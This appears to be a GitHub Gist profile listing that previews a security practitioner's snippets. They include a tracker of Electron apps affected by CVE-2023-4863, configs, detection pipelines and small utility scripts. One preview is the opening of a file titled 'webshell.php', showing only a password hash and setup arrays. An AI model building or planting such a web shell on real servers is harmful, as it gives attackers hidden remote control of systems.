Skip to content

Instantly share code, notes, and snippets.

@mttaggart
mttaggart / electron-versions.csv
Last active November 18, 2023 03:15
CVE-2023-4863 Electron App Tracker | THIS LIST IS NOW DEPRECATED. PLEASE VISIT https://github.com/mttaggart/electron-app-tracker FOR THE LATEST DATA
app_name repo electron_version vulnerable
1Clipboard https://github.com/wiziple/1clipboard
1Password None 25.8.1 FALSE
3CX Desktop App 19.0.8 TRUE
5EClient None
Abstract None
Account Surfer None
Advanced REST Client https://github.com/advanced-rest-client/arc-electron ^17.0.0 TRUE
Aedron Shrine None
Aeon https://github.com/leinelissen/aeon 23.2.0 TRUE
@mttaggart
mttaggart / starship.toml
Last active October 29, 2023 13:01
starship.toml
format = """
[  ](bg:#611bf9)\
[](fg:#611bf9 bg:#bf0af9)\
$directory\
[](fg:#bf0af9 bg:#7346f9)\
$git_branch\
$git_status\
[](fg:#7346f9 bg:#ca38f9)\
$nodejs\
$rust\
@mttaggart
mttaggart / webshell.php
Created January 10, 2023 17:36
new webshell
<?php
$password = "1aa1521ec35ba5cd93021cb142f4bf11";
define('VERSION','Project');
$register_key = array
(
array
@mttaggart
mttaggart / toot.js
Created November 15, 2022 03:28
Change the Mastodon button back to its rightful name
document.querySelector(".button--block").innerHTML="Toot!";
@mttaggart
mttaggart / sysmon-linux-pipeline.json
Last active December 30, 2023 11:18
Sysmon for Linux Pipeline for Elastic Agent
{ "processors": [
{
"dissect": {
"field": "message",
"pattern": "<Event><System><Provider Name=\"Linux-Sysmon\" Guid=\"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}\"/><EventID>%{event.id}</EventID>",
"description": "Extract Sysmon System Data"
}
},
{
"dissect": {
@mttaggart
mttaggart / nginx.conf
Created June 1, 2022 19:05
Basic Docker Nginx HTTPS config
# Generated by nginxconfig.io
# https://www.serverion.com/nginx-config/#?0.redirect=false&0.http2=false&0.hsts=false&0.cert_type=custom&0.php=false&0.index=index.html&resolver_cloudflare=false&resolver_google=false&resolver_opendns=false&file_structure=unified
user www-data;
pid /run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 65535;
events {
multi_accept on;
@mttaggart
mttaggart / Stop-VM.ps1
Created May 1, 2022 05:42
Force Stop VM
# Usage: As admin:
# .\Stop-VM.ps1 "My VM Name"
$id = Get-VM $args[0] | select Id
$VMWMProc = (Get-WMIObject Win32_Process | ? {$_.Name -match 'VMWP' -and $_.CommandLine -match $id })
Stop-Process ($VMWMProc.ProcessId) -Force
@mttaggart
mttaggart / dotnet.yml
Created April 27, 2022 18:50
.NET Actions Build
# This is a template GitHub Action YAML file for building .NET projects.
# Handy for forking .NET assembly projects and building easily without VS.
# Make sure to replace "MyAssembly" with the name of the project!
name: .NET
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
@mttaggart
mttaggart / funcalc.py
Last active March 17, 2022 02:47
Functional vs. OO Subnet Calculators
"""
FUNCTIONAL IP SUBNET CALCULATOR/GENERATOR
"""
import sys
from functools import reduce
def is_ip(ip_string: str) -> bool:
try:
return all(map(lambda o: int(o) in range(0, 256), ip_string.split(".")))
except ValueError:
@mttaggart
mttaggart / getpass.nim
Created January 20, 2022 02:47
Nim GetPass
# With thanks to reilly!
proc getPass(prompt = "Secret: "): string =
stdout.write(prompt)
while result == "" or result[^1] notin ['\x0D', '\n']:
result.add getch()
stdout.write("*")
stdout.write("\n")
return result.strip()